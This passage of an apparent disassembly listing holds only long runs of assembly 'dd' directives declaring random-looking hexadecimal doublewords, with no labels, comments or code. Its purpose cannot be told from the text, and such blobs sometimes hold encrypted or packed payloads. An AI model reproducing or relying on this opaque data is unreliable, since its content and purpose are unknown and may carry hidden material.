0BEAAE150h, 59B0671Bh, 5F774F15h dd 2FB19E35h, 1FA42E5Ch, 0B42603B1h, 0AB71DA61h, 0B409AC64h dd 0F9675769h, 80C5760Dh, 25C5C587h, 0B5013658h, 45C63A2Ch dd 561F2128h, 662E18D2h, 0F8DF0182h, 11E62870h, 8D3DA50Bh dd 441C51DBh, 81D24D62h, 30D80DD8h, 8C380A28h, 0C3A47835h dd 345D74BCh, 222A2ACBh, 0D75C76E1h, 20D3AA55h, 656C34CDh dd 3463DE62h, 0F590C076h, 63E5A2ECh, 99EFA257h, 36B66D5Eh dd 0BF0666ABh, 0BF7B3C21h, 0B75865FCh, 5EA284C7h, 0CB020FE1h dd 5D4473FEh, 0D035991Eh, 0AD4F16B0h, 448E0319h, 0EE015D3Ch dd 0F4D27E1Bh, 34BC067h, 0E33CF116h, 0A1335F73h, 0B95B65D8h dd 0F7BEEAA8h, 1B09419Fh, 4099A211h, 390EE3F5h, 3ACDC863h dd 1FCE9CA7h, 62D5FBC0h, 0A27C74C4h, 0FA4535B2h, 3E64D353h dd 823A7703h, 0BC3EA65Bh, 0C472B5DDh, 21267C65h, 0F31E1AD6h dd 7529BAF2h, 29C45821h, 7A1710D9h, 3DF1B6DBh, 35F54F4Ah dd 8DCB6CC0h, 3A6C53ECh, 9193A06Bh, 67EEF44Bh, 6A220230h dd 185B354h, 0F7337980h, 279846FFh, 6ED80CB2h, 66F83041h dd 0D8ADB82Fh, 95F24F38h, 0BAEF32D2h, 66BBB510h, 0E9AC5EC9h dd 0E011EAE2h, 4E949679h, 0CA2A8EB6h, 44BD9752h, 2FEE478Fh dd 0B71DDBDAh, 68D1B3ACh dd 74271AFEh, 38176069h, 8DF1AEA8h, 23E034E7h, 0CED7AB6Fh dd 928738D2h, 0D7F0990Dh, 27460DD9h, 0D3F68A41h, 0ECD250BEh dd 0A6E20C1Ch, 0E7FCDF1Dh, 0A338B8BBh, 8344E5C1h, 3848A722h dd 0EFBF9743h, 0D70A04F7h, 1E7B40DBh, 68548FF7h, 0A438A04Bh dd 0DB404E68h, 0E51F8702h, 39246304h, 0AF7ECAEBh, 0F0E0A49Eh dd 50B322C3h, 20F1044Dh, 0B08FC078h, 0E59333AFh, 559E76A3h dd 0AC7B0020h, 4504543Ch, 0E3044181h, 82784B36h, 0B050AFC6h dd 0E241A219h, 0F0DA0240h, 3D139ECDh, 0FAD93FF2h, 0DFC7AE2h dd 4EF68D85h, 4B56051Dh, 74D1FB1Ah, 233FCAE5h, 0E334C20Ch dd 70041291h, 0B2A7FD98h, 58031D19h, 11C08949h, 7B443237h dd 927300EBh, 7778E408h, 0C6C6DEBAh, 8D97CD93h, 456834F3h dd 8BC2E072h, 78AC354Ah, 5C62ECD9h, 6C24AFE3h, 8BED933Dh dd 4BC5CF0Ch, 0A92433A6h, 5504D324h, 0F8D81AEBh, 1FB668FDh dd 8EE77F47h, 69EED8FDh, 185CE8CCh, 5CFE649h, 43EBC6DFh dd 0ADFE2AFBh, 214B6F45h, 0B0649CF1h, 7C2FB1F8h, 0BCFD1683h dd 7CED8DE8h, 0F098F90h, 0E3470DAh, 1658C80Bh, 5CA54BFBh dd 7BEE2FA9h, 0EBAD03A2h, 21909863h, 0E64735D9h, 0D98F5D6Bh dd 0DE650F44h, 3E25B487h, 4F1D6038h, 65624F99h, 0A2CD09FBh dd 9E050FB5h, 8A8AFE9Ah, 0A97DAE92h, 0FFDC3F6Eh, 0F2EFCB43h dd 447B8689h, 4BEF2510h, 0F437AC5Dh, 46D1970Ah, 0DEF6DBC2h dd 0D511F45Eh, 0B8F8B143h, 0B59C9CA4h, 5B2AF77Fh, 3D1B1CC0h dd 88688834h, 1A56C57Eh, 0F0DC0A57h, 32A891A2h, 0AB14BDh dd 46661E76h, 6BD8E19Fh, 5B17EA0Fh, 407F0A7h, 0F6A6F16Fh dd 0D4BFD41Dh, 205F89ADh, 0F91736EAh, 6E2B41BAh, 0FEC9B9C2h dd 0C44BE2C8h, 0BF7CBA90h, 76062F95h, 35F98641h, 0C4E8E4CCh dd 1178023Ah, 0A8B83388h, 4146F636h, 7B373523h, 72AA2750h dd 68DF0FF9h, 0F5F56524h, 7648BE7Fh, 0F26FE220h, 0E2F14E63h dd 2C4E168Bh, 8136188Fh, 134A275h, 0BA667F3Fh, 6582D9E6h dd 0E37B5AB0h, 99BD70A8h, 7F72D71Eh, 80FDE525h, 0B483019Dh dd 0E3CA981Ch, 62106523h, 16716603h, 37439F23h, 3D7073E6h dd 0AD850E92h, 27FEDE63h, 0E6C93DF9h, 99424C6Fh, 0FBB60B33h dd 255CA1D8h, 0DD2DC662h, 0C7F3794Fh, 25FE954Ch, 76802D0h dd 6440DAC9h, 15FE7FD5h, 81A20738h, 0E4E6C8A8h, 2E9BC9E3h dd 8D0C5A2Dh, 87356BA6h, 98975950h, 0D0B5B607h, 55E94098h dd 0F8C15B38h, 0CDA6640Bh, 0C06E6B6Bh, 95BCBB02h, 0CA40257Bh dd 0CF7FF46h, 2820B671h, 432411F0h, 1B2308D0h, 0C10222Bh dd 26898CA8h, 249A7B2Bh, 0F0BDFABDh, 7DD3E5A4h, 7507204Ch dd 265230CDh, 0E96533B4h, 6DD7F12Eh, 2108F1FCh, 7D577076h dd 0C472FA2Ah, 44F3A453h, 333BE61Fh, 3346754Fh, 42D15E80h dd 0D6D15437h, 740E6F33h, 0E2D70A58h, 0D01905D8h, 6F1754F9h dd 4251D8BEh, 8163C7Ah, 0CD92F5DCh, 1BAFEDCh, 28BE21D6h dd 241EAC62h, 9E69228Bh, 3BF1E24Dh, 24B172E1h, 475930A7h dd 0CC39D703h, 64385973h, 45C1A0DBh, 0E486914Eh, 6E7E8C27h dd 0CF1B948h, 7032FC51h, 85CE8F0h, 46BFBA0Ah, 4C398E51h dd 0C04914BEh, 5DEA802Eh, 6B4D86EEh, 0C2F4C6F4h, 0A9C00814h dd 0FA1049C9h, 3A217FFEh, 6C27E578h, 0DA039FB8h, 5F440160h dd 0D372497Eh, 9CFDF77Bh, 0EA8C492Ch, 0CF5527F6h, 201C98F0h dd 0C5BBCAA1h, 58A816E5h, 0D8A6EF42h, 1D6678FFh, 0F8FF7192h dd 0D064176Ah, 5CD9009Bh, 0A4F96362h, 0CB78688Ah, 0B2B2E21Ah dd 0E28A50E4h, 82CDE748h, 552C13D7h, 83569C63h, 6B95D2C6h dd 0EFCE381Ah, 0F91A56DDh, 554625A3h, 0DA393E74h, 0BFEAB95Dh dd 5E9D2A6Eh, 7224D4E5h, 9224939Fh, 0F2E3F7EBh, 0AB40FF7Ch dd 0AEFEBE3Bh, 0F7295D0h, 0C89FBBB6h, 0C686F08Ah, 6DD6029h dd 5F3BAFF2h, 5B4D6FF8h, 0EB386BFDh, 3AF76E62h, 493CADEBh dd 7D92E078h, 0E19B6CF7h, 11587E2Eh, 3B097847h, 20115761h dd 639D15FCh, 5F75BC79h, 94CA69E1h, 8968DA9Fh, 50A2E4D4h dd 0BEF7A082h, 0D11925B2h, 7A19F144h, 0D2599Ah, 537A062Fh dd 0C9FB52B9h, 8D014D64h, 1D86FF3Dh, 77D02252h, 2F04ABF0h dd 6BE72E62h, 5588485Ch, 305D978Dh, 0B8D5817Bh, 0ACD7AD8Ah dd 7CBA4582h, 307400B3h, 0CC4A4E11h, 8BEDE4A2h, 4D6075ADh dd 56B3D0F1h, 0B2AB4429h, 820C45BAh, 86E3D604h, 6A92A245h dd 0CA841397h, 0F925AF55h, 3F63EA91h, 0E7918E4Ch, 0D3F5DC03h dd 0BBD72B5Ah, 7CCB1E60h, 241E03D1h, 3FDAAF3Bh, 0A2E4B3Bh dd 0AC8D9680h, 2650521Eh, 0FF7C166Bh, 9D268A91h, 841174F9h dd 3B859201h, 0CD0F43F7h, 0A7AC1CF6h, 84B3D16Ah, 718624D0h dd 0F5087CE8h, 88163FBEh, 22653EC2h, 0B3E9AFABh, 0E324F1F4h dd 48094CC6h, 5CC41CB7h, 0D21DB957h, 8F0A892Fh, 0A57C019Ah dd 88EEC371h, 0F8850184h, 0BC8CF57Ah, 1E0B57D8h, 54DDE40Ch dd 0B8737645h, 0AA7906Fh, 0BD96CA9Dh, 861BD47Ah, 320360C0h dd 6BC9987Dh, 92B046A8h, 0ECCB9733h, 7CEE43BFh, 0C9C8F468h dd 45A8ECADh, 9C786DCAh, 0C0933A5Ah, 0E4F84E0Ch, 2F290753h dd 0CDE92C7Ch, 0D0274D04h, 22530533h, 7F881807h, 9F8C19C6h dd 0B8C3EE65h, 2162C7Dh, 0F08FAB2h, 5A24D1A4h, 4D283A72h dd 3B9F4AE2h, 0E510E636h, 712295F1h, 91F19FC8h, 5CD100EDh dd 0EAA14904h, 2F5C1F9Ah, 5261935Bh, 35347CDBh, 0BC334D98h dd 6D38BC63h, 0DE63BB2Eh, 0C3D18E6Ch, 4E379B38h, 0D23CE4C6h dd 99C39C52h, 0F2C28465h, 269167CFh, 765888D0h, 925FFF74h dd 594C92FEh, 49A605A5h, 39E17E32h, 0E2F237D3h, 4E6176CCh dd 0DEA425CEh, 0ED42B0FEh, 0CABF0BE7h, 731F07EFh, 0DF7F1C5h dd 85783273h, 0EC27D2D4h, 0C91E8DB8h, 6DF12451h, 124B5FBDh dd 0CCEC2A28h, 934CC124h, 944AECAEh, 641BA037h, 0E25EA57Dh dd 0B6D2013Dh, 91EADCFBh, 6B77B0Ch, 19B684Eh, 0C2D191F6h dd 4D16F988h, 0E92ADA5Bh, 580F2D4Dh, 2B715735h, 0AAF0CA25h dd 5FB0BF81h, 0C9AAAADDh, 80AA8F88h, 5D34D358h, 5E17BD28h dd 0C1AC0658h, 0ED11D210h, 0D0971F8Eh, 2FFAC45Ah, 26B664D5h dd 9EC9B47Eh, 0FA5EF7Dh, 0F79A3016h, 21DAF9E8h, 0EBD0C308h dd 0FB636CF7h, 0CB081CEEh, 2731A6Fh, 95F7EC8Fh, 87C42B6Eh dd 0EA376BF6h, 0A1C8DF42h, 5F6B9D98h, 51994F5Fh, 563AE891h dd 0BF21227Fh, 2658C8E7h, 423B40B4h, 4504BEC9h, 0A1044BE1h dd 7CB2A27h, 0B44B449Ch, 0B861BA12h, 0F1BE1281h, 3E6879C8h dd 19C15941h, 0B371363Ch, 14ECAD0Bh, 463DC27Ch, 65E8E3E0h dd 0F489BBBh, 6559850Ch, 0F0EDB423h, 0AA7C64CAh, 83FD907Ah dd 10CC71BDh, 8CA05C1h, 6E70E693h, 0CDE58538h, 12EEAF93h dd 75315C9Bh, 0A9BF850Eh, 0FDFB0F4Fh, 96B8A9CEh, 0A378757Ah dd 0AC93FE5Dh, 25D609CCh, 949C1825h, 9F433EDAh, 0A9C66A43h dd 0F34977E0h, 0EF6042A5h, 338948F5h, 0FB5C400Dh, 316F48E0h dd 0DA42286Ah, 6A45CAABh, 8A8FBBF0h, 949999F9h, 4D22040Bh dd 0CA5256C9h, 0E25B0803h, 0B2AA0BCCh, 67410E93h, 58E0B72Eh dd 56459EF7h, 0B8855E33h, 176E1E95h, 0E2635A2h, 0BD71DBE3h dd 7A3E0E09h, 0C801384Eh, 53EF7E9h, 23BF5B9Ah, 0AC245160h dd 0EBDE9781h, 0EE501C3Fh, 89D61835h, 84674E26h, 9CCEDC41h dd 65E891B6h, 8B08A6F6h, 29BC6A48h, 0FD326AAh, 79A911C2h dd 0BC3C41F7h, 0F10C37EFh dd 5666B099h, 0ECC60C3Eh, 1D32D36Bh, 6BA7632Ah, 0F806154Dh dd 0F2EA686Fh, 5DAB4C70h, 0E132DF4Ch, 0FB3D2B85h, 9DA72CE1h dd 2DE0192Ah, 19F4D3EFh, 924CF717h, 0FF19EB88h, 0FA02CEEAh dd 0D544F151h, 6145DCE1h, 0C585C70Bh, 4CE6D3DFh, 39327DB8h dd 524DB11Fh, 0FF88944Dh, 85A58EE1h, 81A10736h, 0D8B82951h dd 611C2FDh, 6A0EC194h, 26A1A748h, 0A925B8C1h, 0DE386BE3h dd 4C76A65h, 0A47B592Fh, 52F1321Eh, 445BDA5Eh, 89311D88h dd 0E5F28D7h, 7853CA8Ch, 0B88EFFA3h, 0E7BDA190h, 0AE6375EEh dd 5BFF9925h, 60679B8Ch, 18F085FFh, 0A32FA464h, 0F5F61DFDh dd 7AEFE438h, 5D59FD79h, 69CAE702h, 0DFAE02Ah, 92A7DA32h dd 8ABA4844h, 0B749C35h, 0EE6D47C0h, 0FB761632h, 782BA9AEh dd 0ECF7ACC1h, 0D01E4CFBh, 0C53A429Ah, 9B41E927h, 3EA007DBh dd 0ECCBA719h, 0E769C0C1h, 76F5156Ah, 0B38A1867h, 3FF2F2F4h dd 0ED01210Dh, 0BFE42B54h, 25D0426Fh, 1F0E7B38h, 0C6DE010Eh dd 923AF7A3h, 23AF84BAh, 0B84C18FAh, 96D7BD30h, 785482B8h dd 2765ED91h, 8EB552ACh, 5B41D01Dh, 3F58F95h, 1E81DE14h dd 9571853Ch, 52D71214h, 342FA94Bh, 4439C769h, 195968D1h dd 30ECFC0Eh, 3617E4F8h, 2D011A72h, 7BAA72BFh, 7A00CE9Eh dd 0AC89FC7h, 4D9496EAh, 8BBD140h, 77575E83h, 606B07A7h dd 0DA927942h, 0B04C0CD6h, 0A9F853B3h, 0E132328h, 4D1EDBA9h dd 942248C6h, 64FF6F1h, 0D4A55F1Dh, 494D04E8h, 94791945h dd 0B640B54Dh, 0E4E91732h, 68929012h, 9CA42AD0h, 0AB3BF1A2h dd 0D2C305CDh, 3A0369DBh, 0DDF412Fh, 4723FE32h, 684C73F6h dd 576B862Dh, 0DA488047h, 0E919FE2Ch, 722F1DDDh, 0C514165Ch dd 5FA85F67h, 0C6821C66h, 0B3A2EDCDh, 0ECAED96Ch, 0BD06DC70h dd 15EADE56h, 3F1A0471h, 4966845Ah, 4656977Fh, 0C90E0E47h dd 9BFCD525h, 711FCE0Ch, 0C7BE827Ch, 19668F1Fh, 3390B2B9h dd 5FFB29E8h, 0F4DEACA3h, 0EE8FA3C3h, 0A40BB663h, 23F214BAh dd 4E88B94Ah, 0F12AA7EDh, 9706A1E0h, 6AAFA1Bh, 1FAB4A25h dd 37912E73h, 0C4AA65B5h, 716AF7ABh, 0EEAF220Eh, 0DA5BECFDh dd 0ECA23977h, 0F7570845h, 9F32F12Fh, 1D7BB73Eh, 3FFC2302h dd 0BE371A09h, 9D81B013h, 0C08DCAFh, 1F0BEA7h, 64E1BC18h dd 3BB3AAE3h, 0D228D041h, 0E1A9FDBFh, 3F67C25Ah, 0F45510FDh dd 7AD8986Bh, 0E71C8830h, 0B77394E3h, 0CE13E07Fh, 12A8BF7Ch dd 0D40F51A8h, 895A655Eh, 784A8ED2h, 0E01AD56Ah, 7B0F0792h dd 0C1137670h, 0D1BFCF00h, 5B0C58FCh, 9751BED4h, 92AD878Dh dd 3A412276h, 0E2BA3330h, 2A8BB8D5h, 5D8787BCh, 9EFA5CB9h dd 4C93D389h, 0AF97E245h, 1ADD2C27h, 157D9841h, 869FFD5Fh dd 0FA9D4308h, 0FF0BA5B6h, 0F28ACD31h, 73AA020Dh, 70D55DE9h dd 228A82DEh, 1D9F5466h, 602E8F4Ch, 7655D230h, 2EBFF205h dd 0F73D2E0Ah, 29D4A70Ch, 8CFC58EBh, 0E8106675h, 0DE7A570Bh dd 15C9E5D7h, 4591EC44h, 7002F41Ch, 3D259E37h, 66CCC69Ah dd 0C1C6F93Ch, 21748D35h, 0C820796Bh, 1B166700h, 884789CFh dd 6120C8E9h, 0A859654Eh, 85847870h, 0A6D32670h, 0FDB1D0F9h dd 0DB059C89h, 7027746Dh, 0D44B6FF1h, 40B7D764h, 9DC53EB7h dd 0EA5A6F6Fh, 1B8AB6D2h, 0F763C706h, 0FF69F588h, 0EF1CE5CFh dd 77555155h, 4B80C3EAh, 15F079FDh, 0FD576FD3h, 0CB47D0A1h dd 0F8598AB3h, 0B31D5905h, 92CA1CFAh, 0D1E68693h, 0F77F48F0h dd 595BA898h, 2C51E64Ah, 6006E7BEh, 5C69B32Fh, 5BCEF39Dh dd 9D75767Ch, 87F576C7h, 0F2D117F8h, 0E3D790BBh, 85124094h dd 611F4C06h, 0EBD32213h, 8C0A4458h, 0AEFB9429h, 426A5513h dd 70EB2073h, 47F23B62h, 0EBF19C28h, 0B8C257Ah, 0CB5F9621h dd 81D6AB31h, 3F007013h, 0AA55E8B3h, 97E9C256h, 0D0F72B05h dd 105B790Ah, 0E76E8A4Ah, 72A48FF7h, 0C664CDF8h, 0E8FBBA76h dd 5E176C91h, 124D31E8h, 31CD25CDh, 0B0B031BFh, 0B963CDC0h dd 0A49D4C79h, 0CC2ABBC4h, 0A6D561D4h, 26F8B780h, 9D04F66Fh dd 756C6A6Fh, 0D26FBA34h, 0CFEC8455h, 0ED8593DDh, 0CC952D89h dd 3A75A43Eh, 69FA0F21h, 2C382E24h, 34E69B12h, 9589FB87h dd 333C14D0h, 0F83B74E0h, 34B8ADECh, 0DE368349h, 4617E0DBh dd 0B0785BBEh, 0F62245D2h, 9FF6398Ah, 6F3C7F7Ch, 0AB613EDBh dd 5D4DD2B8h, 5BFFF38Fh, 0FED0BE13h, 0F134A364h, 3FA55AE0h dd 0ADA1EA09h, 427A270Ah, 0A1E967EBh, 4FE8539Ch, 52DF2922h dd 0A517B5FDh, 0BE206F95h, 9ABF2CABh, 104E43F7h, 0CE80BAC2h dd 2FDE8BA6h, 5247AD2Eh, 277D1E68h, 3793F0E1h, 71AAFC64h dd 1A1CCBEFh, 208D1B4Bh, 0C3D5A557h, 83DED109h, 0D1DF3F0Eh dd 84D1FD2Eh, 0F40FD490h, 6F10E059h, 0D07C5BF6h, 1FFA88A7h dd 0F450CD8Ah, 4D0A0599h, 0F52EAD3Ch, 1225EEACh, 529FCB4Fh dd 0C0954051h, 9120F4F1h, 0BC10A1F5h, 8FB62277h, 382B8B34h dd 0C936F638h, 63DF8E72h, 9898E100h, 0F5D219B3h, 492B9946h dd 21BE1374h, 0AB575782h, 9798F3F9h, 99B24C1h, 36CEAEB4h dd 0CFE8CBFh, 55CC0B9Eh, 0CD45D72Bh, 3E9ADAFBh, 69D5CA4Ah dd 0C5E12BB6h, 4B16DABAh, 33F52D38h, 0C2E7236Dh, 8DFDDF55h dd 8BDB22DFh, 0AAAE784Bh, 5E79A09Bh, 0A428C955h, 0B4C580AEh dd 2B3CED11h, 0C901F256h, 721A6A14h, 258A594Ch, 4F0E1CACh dd 8A02D09Ch, 0C5CC3D27h, 82AB9403h, 0A3AC260Ah, 1A1D3597h dd 24F07FC7h, 217E43D9h, 0A7CCEEBFh, 10E1F0BBh, 8ED2237Bh dd 0F8AC8A45h, 212B00A7h, 0B366D185h, 0EBB9F229h, 0EA056377h dd 0FEEE6F5h, 86AEDD1Ah, 0EEB867F1h, 0E1575B88h, 0EFC9865Bh dd 0A1375AAh, 90EC0486h, 52BA3198h, 50569002h, 824D4433h dd 266CE1F3h, 0CE3F0F02h, 1360D900h, 7E8D37A6h, 7F62C5EDh dd 65D13002h, 0DCA58F08h, 0C7454C5Dh, 5D6EB08h, 0D8736795h dd 2252DBE3h, 1E41F2CFh, 84ADCE69h, 0D982F3C3h, 8C63262Ch dd 0E721FA8Ah, 0D0AB7FFDh, 0D6FC3E18h, 82A54FDDh, 42B22742h dd 9FA93160h, 4B63C011h, 12980641h, 62CC5F0h, 0E9C54E78h dd 2A3BC759h, 4E88EC29h, 6EF4F8BFh, 0D4372C3Bh, 1AB4C6C5h dd 65EAB3E5h, 165FACEFh, 0F1E275FBh, 4707CC7Ah, 577130ECh dd 0E7CF2F3Fh, 576CF10Bh, 95DACA57h, 0A9C18414h, 3E927A67h dd 896CB95Ch, 0B7FD36F9h, 6C452197h, 7D34FC13h, 0F9C6F0D5h dd 76730722h, 0A70C893Eh, 0A2D1F828h, 0AC3FA6F4h, 0F5ED0E1Bh dd 28DBF796h, 0B60F46A8h, 49EDE07Bh, 61BE38A1h, 8C3331D8h dd 1A226DF7h, 0C47CEDDCh, 1519A378h, 842DF8F5h, 92D1CDF0h dd 0CD6B1FBEh, 0DCC056F9h, 0AF547FC2h, 60200789h, 128C368Bh dd 0D82EEF59h, 2C617639h, 0B720088Dh, 0A60F1436h, 5EE82F97h dd 74DA7037h, 120B0A87h, 445DA3F1h, 0D584C1FCh, 8C344490h dd 33597E11h, 97E6BF42h, 6BA59379h, 0F7643A52h, 0F86809A8h dd 0B06F3DB2h, 5CBF7FF4h, 3F35DC32h, 0B750C7FCh, 1147F563h dd 0FCBC3817h, 65B95AC0h, 0C630C3B2h, 179AA234h, 0DB42645Ah dd 0C1F6717Ah, 2CA91DA4h, 89D74082h, 0B668CD32h, 7FA4915Bh dd 0F8381EA0h, 29C275D1h, 820C8263h, 0F1C42178h, 0D01B4A32h dd 81EF1144h, 0E48DF4CAh, 0CE7729B2h, 0D9A75FABh, 1E9D83CFh dd 60CDD6C8h, 79B089Ch, 55E13723h, 0AFC6C994h, 0B8502CA9h dd 82ECA98Fh, 9CE36B83h, 6A86FD99h, 214AD521h, 6FB1118Ah dd 2ADC50C0h, 0E0EBAF7Dh dd 2DE3E41Fh, 0EF6A0FA5h, 0D512FEB0h, 0B404BB7h, 4512AE0Eh dd 6AC3D443h, 0C732C48Ah, 2E5B4CF6h, 39530C45h, 33D7B9A6h dd 0A809AD66h, 818C1A85h, 0DB923BDAh, 374E5F4Fh, 0A2641715h dd 0F72F8378h, 0AF73901Ch, 462B648h, 7EE2F1D8h, 54926891h dd 0C168298Ah, 3CA76839h, 0C6698271h, 0C4EFF221h, 0CD245487h dd 8433D4DBh, 7D58CD5Ah, 43181D64h, 9D813D7h, 0AE03292Fh dd 61DED0A2h, 0C4D9ADD7h, 3011D9EFh, 3BCA5DC6h, 0E34626C2h dd 3D31CF85h, 81D9C9DAh, 0ECFE48CEh, 0D9F3B32Dh, 4494A9DFh dd 90A32834h, 0F7CBF7D7h, 0F0A3CBB5h, 0B8921312h, 0C974F3Ah dd 1A63E8B9h, 0BDEAA4BFh, 7F9BC98Dh, 5645F74Ah, 6D85B368h dd 0F301CC29h, 0EF42C3D2h, 4FAA3FFDh, 6004F60Fh, 5F4ADFBDh dd 4EE77E16h, 0E2C6E775h, 0F00F3163h, 4DAF5D98h, 0D9EF8DFh dd 7FCC974Dh, 0DA7FCF0Fh, 97FE6F11h, 7D2CDFF7h, 3E1F97E3h dd 6FA092E7h, 7B5F360Eh, 0C8A77B87h, 5A20FC43h, 0C9A63E83h dd 0B332E574h, 0A2153573h, 3B75EBCh, 3B0F3B70h, 66C9DAF0h dd 0F2DE9C7h, 8BF06F64h, 675B63D0h, 969B9BDFh, 0E08136CBh dd 0F4C5D4ECh, 2417BD01h, 1E19B329h, 2C182939h, 0AFDA1F96h dd 0D55B926Ch, 0D5F2DB05h, 1A5726BFh, 0E7AE40D4h, 0D76B5A5Bh dd 2A561D94h, 0BB98282h, 539EF9B7h, 9193784h, 7E4167ECh dd 462ECC63h, 8B7B08E2h, 498D1C4Ah, 0B9D88B65h, 0C68C9972h dd 0FA6775F4h, 2A905114h, 0AD7EED3Dh, 0C753FD1h, 0AD8986B9h dd 649289C2h, 0B304EE66h, 0CCBF0A8Dh, 402CBF39h, 0E2C6C183h dd 0E12B0B5Ah, 3E4CD74Ah, 0C72A2AAAh, 0A04153AFh, 0D426684Ch dd 7E44DE26h, 0C599A30Ah, 673DEDF5h, 0E7F8A706h, 1DCFE564h dd 0E230EB54h, 738B1026h, 0A7642DB5h, 0AED071C5h, 209DEFE7h dd 7E17CB4Dh, 4D49CB8Ah, 8259D373h, 3EC7820h, 0F24914F5h dd 69F70113h, 6EE483F2h, 9680ACFDh, 0AFD1FEE0h, 7E354E7Fh dd 0ED850CD4h, 553630F1h, 0FB2721B5h, 0BC2CF33Ah, 0CC65CC80h dd 0F588C12Ah, 37139FAAh, 0A59C965h, 0E798A40Eh, 7060B1AEh dd 0DB357277h, 906B90CEh, 0B4DE771Dh, 0F492A160h, 0C7F6D9ECh dd 1ABAA31Eh, 6A9D686Ah, 0B4D83D54h, 61F6E20Eh, 0A5DECCA2h dd 65AA715Fh, 15F2D82Dh, 8861B2E2h, 0AC296600h, 1E1F33BAh dd 83EE0A93h, 0E1BD7171h, 734DFCBDh, 261FA98Eh, 0B8A28A78h dd 1AA43E55h, 0C1627013h, 91201179h, 4FA427Eh, 74F3E0CEh dd 0A75E0CE6h, 68320EB8h, 4947F761h, 2F22F0B4h, 7026281Dh dd 27CF7F57h, 2940BD11h, 0E8AB3B32h, 0B9E0E1CBh, 1DE3CF3Eh dd 1C62D08h, 33BE7F01h, 2A989190h, 0C1EFE65Bh, 9A4BA928h dd 5532988h, 0AA869802h, 543ECBFBh, 8280AD00h, 3235355h dd 0D5C9D3BCh, 0A9611CCEh, 461CDF25h, 3F48723h, 815F053Ch dd 7D8377FAh, 8AD3A61Ah, 9F3815CBh, 2A5C423Ah, 9B34B36Ch dd 572FEC00h, 3B2B4046h, 4826F455h, 0B46A76E7h, 10C18F05h dd 0A62805D7h, 38210D4Ch, 0AA95F9C7h, 233B8806h, 13148325h dd 83C2AE19h, 16BF5542h, 65CDD238h, 76E3D792h, 0A0AFCF2Dh dd 2CBF776Ah, 0D2BBAC9Ah, 3CABCBBCh, 0A0CE07FFh, 51907EA4h dd 5AC4E093h, 765A1EABh, 2CB98CE4h, 6D93DBAEh, 69CC3EB0h dd 2D7F38EFh, 26CA9BFEh, 7F7422F6h, 3F817B58h, 93010CFBh dd 0BF732B61h, 0A3170A24h, 0E5E0CED4h, 0C5738E10h, 2264A576h dd 0FC950E6Dh, 738C4360h, 0D316A411h, 0EA6D8779h, 0D9E71B98h dd 0AACBD1A7h, 0E7F1A4A5h, 5DF6B5A9h, 0DD4D8736h, 0FE5C5861h dd 0DDA271ACh, 0E4CE0868h, 0F5F36A42h, 66D79B7Eh, 1F0ADD5h dd 6EC1A14Fh, 139B9BB5h, 92424F7Ch, 0F34AAF14h, 0DB939648h dd 9D49188Ch, 0D3F8CA59h, 9C6D3592h, 7F06D184h, 4DD180D1h dd 0FE9FB4C1h, 169F5D95h, 2606AA82h, 9A1232D8h, 998B619Bh dd 6A094994h, 0A76C970Ch, 8FF1C922h, 907927CEh, 3EAC07EBh dd 323A83BEh, 8132BCFDh, 586C9596h, 958CD03h, 9B2FEC5Ah dd 70428FF3h, 2CC4BB35h, 598D4F9h, 8929519Dh, 24650D50h dd 0AC6DC531h, 0D7C09DAAh, 589CF9A9h, 2B12386Ah, 1C0508A6h dd 78848ADCh, 6E017947h, 1977261Fh, 86249833h, 7A7BBA4Dh dd 9491E0F1h, 1169E858h, 24D213C6h, 562A5B91h, 0EFB6EF68h dd 0DF8AB5A8h, 55396155h, 79E98DADh, 0CAEA644Ah, 63B6650Ch dd 0E305B191h, 0FDE9B940h, 0A2C7ED15h, 7A3CEE95h, 8287D124h dd 33AE3EF5h, 0E7D54F65h, 0B48D891h, 652EA684h, 0B0929251h dd 0BF546534h, 6932F5D6h, 0D5B96A2Eh, 0F1DFE2B3h, 616F7649h dd 89A9E908h, 5981A8ABh, 2D3B167Ah, 5D0823FFh, 183048E0h dd 9F2F0A17h, 1FD8A324h, 0F28EEA2Ah, 9AE4AE28h, 0AF64197Bh dd 0DA756911h, 61E21E69h, 0B3CCA9BDh, 80E7C85Ah, 0F81BA348h dd 93611357h, 0B76E60BFh, 0E07DD03Bh, 2A1E3D17h, 0C4B7C621h dd 7E9DDC81h, 0F3FBB5Ch, 0A4D620C9h, 9819AFA2h, 0E75ADEA8h dd 8567D40Fh, 4763AEC5h, 0E6A774A3h, 0A2EACE85h, 0AFEA42C1h dd 1C1EA91Ch, 0AB6B4272h, 0C037FF9Ch, 4DD127AEh, 51C54127h dd 0A66BBA79h, 76D18AD7h, 295CC676h, 7A93C096h, 49636FCCh dd 5739FA77h, 8D1EAF62h, 3A456D55h, 67DA9DA8h, 9479B661h dd 38F1AFE5h, 5F98AC6h, 0F5B37DD6h, 5C9E1050h, 6E2E09E6h dd 0F7E9F99Fh, 311F4E7Ch, 39DA9B63h, 0EF4494A5h, 1A14A07h dd 9F5A041Bh, 0AC40793Dh, 0F36E8343h, 6D4AC35Ah, 44FF53C9h dd 0A4BC8DB0h, 5060CA48h, 1961BA85h, 0A394044Fh, 2E6659D9h dd 97487E14h, 29590274h, 0C0315AB1h, 2BD32D04h, 0E58A2CBCh dd 1D46DD55h, 4D2F09B0h, 0C2E6A990h, 76C60BDCh, 176073C4h dd 0CB1FBB8Bh, 0D1B087C9h, 0BE44B84h, 3F14196Eh, 0BA6BDB51h dd 1D31B4C6h, 87E3197Bh, 0A1EEDE4Ch, 0B03AA9EAh, 68244511h dd 0C799E51Dh, 0DAF08FD3h, 66ECD92Eh, 5B61BCB7h, 275CADEFh dd 73D95A57h, 52AD0E80h, 57D36EE0h, 4D5C1E66h, 0F90B205Bh dd 4F96D61Bh, 0B9642896h, 0A1069D13h, 1F68ED53h, 1D2E25ECh dd 0F14A75C8h, 0AE3EE17h, 614899B8h, 71EEADB3h, 4FB61988h dd 46650A72h, 7A42B592h, 0F6B22C0Fh, 1FD91B08h, 650CD46Fh dd 4744CDD3h, 37AC87AFh, 0F7419EE4h, 6FFA6BCFh, 0FEAC54EFh dd 0ED3C41B2h, 0B00E0748h, 2E98FB22h, 67536C2Ch, 0EE63A6DAh dd 7D185FF4h, 9DE82568h, 463279A3h, 537A8A4h, 49017FB7h dd 0CBAD98E9h, 7382B6D5h, 0C7F44C9Dh, 0ED1E884Bh, 0E6DE0003h dd 0E56FED85h, 0A065111Eh, 0C038F549h, 0F9DCCF5h, 82D37FCh dd 0D33F0B13h, 0ECACF941h, 635D8798h, 7C425C82h, 769FF9Ch dd 0F9F3E180h, 6D66B8ECh, 9E282063h, 15DC32D4h, 